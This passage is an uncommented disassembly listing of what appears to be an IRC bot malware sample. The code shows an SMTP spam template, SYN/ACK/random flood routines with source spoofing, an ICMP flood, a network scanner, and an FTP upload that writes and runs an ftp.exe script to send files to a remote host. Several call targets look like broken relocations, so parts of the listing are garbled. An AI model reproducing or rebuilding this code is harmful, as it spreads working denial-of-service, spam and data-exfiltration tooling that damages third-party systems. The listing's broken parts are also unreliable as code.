		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D128 ; " "
		push	offset dword_42BBFC
		push	[ebp+esi+var_7C]
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		push	esi
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0D8


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B090
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B04C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42B014
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFDC


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF94
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42AF5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AF08
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AED0


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE68
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE20
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42ADE8


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ADA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD80
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		call	near ptr 26A0871h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD10
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACE0


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACAC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC78
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC10
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42ABD8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB88
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42AB4C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB40
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
